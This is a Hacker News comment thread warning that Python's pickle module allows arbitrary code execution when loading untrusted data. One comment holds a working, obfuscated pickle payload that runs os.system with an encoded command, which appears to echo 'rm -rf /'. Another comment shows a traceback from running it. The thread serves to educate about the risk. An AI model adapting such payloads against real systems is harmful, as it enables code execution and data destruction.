Hacker News Reader

Comment by mehrdadn | Hacker News Reader

Some search terms that might help: types.FunctionType, __code__.co_code, pickle, cloudpickle/dill

pickle got me my first CTF-flag at an infosec conference - be very careful about using it in production!

Yeah, (un)pickle is essentially eval() in terms of the security hole it opens.

What security holes can pickle cause? We used it for a while while training and saving our ML models which otherwise would have taken a lot of time to retrain each time the system starts.

Shell-code attacks using pickled objects have been around for some time.

A pickle bytestring can execute completely arbitrary code. I have used them in my work.

An easy introduction: https://www2.cs.uic.edu/~s/musings/pickle/

An example:

  payload = b"ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'4wAAAAAAAAAAAQAAAAIAAABDAAAAcxYAAABkAWQAbAB9AHwAagFkAoMBAQBkAFMAKQNO6QAAAAD6EGVjaG8gXCMgcm0gLXJmIC8pAtoCb3PaBnN5c3RlbSkBcgMAAACpAHIFAAAA+gc8c3RkaW4+2gdwYXlsb2FkBAAAAHMEAAAAAAEIAQ=='\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
  from pickle import loads; loads(payload) # don't do it...!

(p.s., a matplotlib core dev told me they may move away from their use of pickle for this very reason.)

Python 2.7 didn't have much love to give :-)

  Traceback (most recent call last):
    File "<pyshell#1>", line 1, in <module>
      from pickle import loads; loads(payload) # don't do it...!
    File "...\lib\pickle.py", line 1388, in loads
      return Unpickler(file).load()
    File "...\lib\pickle.py", line 864, in load
      dispatch[key](self)
    File "...\lib\pickle.py", line 1139, in load_reduce
      value = func(*args)
  ValueError: bad marshal data (unknown type code)

Python 3 uses a new pickling format (protocol) by default. That doesn't mean Python 2 isn't vulnerable.

I just left a tongue in cheek comment and you just killed it with a dry reply :( yes, I'm well aware...

Sorry! :)

Well, like eval(), it's only a security issue if you're reading pickled files from untrusted sources (that is, anywhere an attacker could have modified them). If you just ship them along with your Python source files, then it's a moot problem, since the attacker could just edit the source files.

Some environments use code-signing as a security mechanism.

Arbitrary execution via pickle creates holes in this mechanism, requiring additional mitigations.

PEP-551 briefly discusses security motivations and potential mechanisms for environments where code execution is locked down:

https://www.python.org/dev/peps/pep-0551/

Reply on news.ycombinator.com